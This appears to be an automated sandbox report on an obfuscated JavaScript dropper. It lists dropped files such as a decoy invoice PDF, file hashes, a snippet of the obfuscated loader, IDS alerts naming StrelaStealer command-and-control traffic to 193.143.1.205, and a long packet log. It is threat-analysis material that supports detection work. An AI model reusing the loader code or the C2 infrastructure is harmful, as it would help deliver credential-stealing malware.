Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17042), with CRLF line terminators
Entropy (8bit):	4.906282468603635
TrID:
File name:	1574285771252416900.js
File size:	20'447 bytes
MD5:	e20f6a103e9e080bc554d7d5c5cc4c60
SHA1:	fef722936aa6fde09d8ec1926bc341bb2d0aca1d
SHA256:	9feda0f1074eb6a22c069b2079f9bf43b39372004066722da1d248e237db2bb7
SHA512:	ac07024ab65e583d8e5124aaaf0ba6277c58913da8bb3bb60e3bba28233761cfcf52e0a527dc5ff41064bb8bebc8f31d4cfd05dacaefce3781187b636f5052db
SSDEEP:	384:TCq0yE0ITbzt5bk5TWKlJL2uTkJ61fyXeklCNu7shD6b3Nqe2nht7TuUI0QeMcOM:CTbzt5bk5TWKlJL2uTkJ61fyXeklCNuy
TLSH:	68924592CB00CDE54CED995687D31CCC795C0BC983E91E963AD012996EA77348AF28FD
File Content Preview:	function foevs(){lyuttuza=[1031,3079,5127,4103,2055,3072];var gowevgqjv=this[zlrpyiw+psusap+mxreps+hmrhzh+jrlkil+pfttgglj+buqvr+osjmxvtb](this[pytmnd+mipwf+aynoqxax+mxreps+btkju+zlrpyiw+osjmxvtb][prsbiyhss+mxreps+jrlkil+psusap+osjmxvtb+jrlkil+mraltziph+fh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:12:09.647664+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:12:09.647664+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:12:12.619354+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:12:08.859174967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:08.864097118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:08.864183903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:08.868185997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:08.873065948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647469044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647542953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647578955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647610903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647644997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647664070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.647680044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647711992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647721052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.647741079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.647743940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647774935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647787094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.647809029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.647845030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.652718067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.693439960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.693500042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.693593979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.744476080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.771984100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772034883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772069931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772103071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772108078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772140980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772144079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772176027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772205114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772213936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772428989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772463083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772478104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772496939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772536993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772798061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772836924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772878885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772896051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772912025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.772945881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.772944927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773667097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773716927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.773718119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773751974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773782969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773786068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.773817062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.773854017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.774537086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.774571896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.774616003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.823612928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.823632002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.823681116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.862180948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.862199068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.862211943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.862260103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896255016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896274090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896292925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896303892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896310091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896316051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896327019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896343946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896389961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896644115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896653891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896686077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896754026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896789074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896790028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.896800041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.896826982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.897177935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897186995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897197962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897207975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897218943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897229910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897237062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.897242069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897264004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.897269011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.897304058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.898015022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898025990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898036957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898072004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.898092985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898102999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898113012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898125887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.898140907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898153067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.898153067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.898180008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.899053097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899064064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899075031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899101973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.899108887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899118900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899130106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899138927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.899141073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899154902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899166107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.899187088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.899985075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.899996042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900007963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900041103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.900122881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900134087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900146008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900154114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.900156021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900167942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.900175095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.900207043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.910228968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.910250902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.910264015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.910315037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.948858023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.948930025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.986601114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986619949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986641884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986671925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.986675024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986689091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986701012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:09.986713886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:09.986742973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.020714045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020731926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020750046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020761013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020772934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020807981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.020833969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.020868063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.021157980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021169901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021181107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021190882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021204948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.021226883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.021569014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021580935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021590948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021614075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021616936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.021625042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.021691084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.022114992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022125959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022135973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022167921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.022192001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022192955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.022202969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022212982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022223949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022245884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.022250891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.022286892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023060083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023072004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023082972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023118019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023139000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023144007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023149967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023160934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023170948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023185015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023224115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023849964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023864031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023874998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023885965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023927927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.023962021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023972988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023983955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.023993015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024028063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.024868965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024880886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024892092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024914980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024924994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024935961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024945021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.024947882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024970055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.024982929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.025012016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.025773048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025784016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025794029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.025824070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.025871038 CET	80	49730	193.143.1.205	192.168.2.4
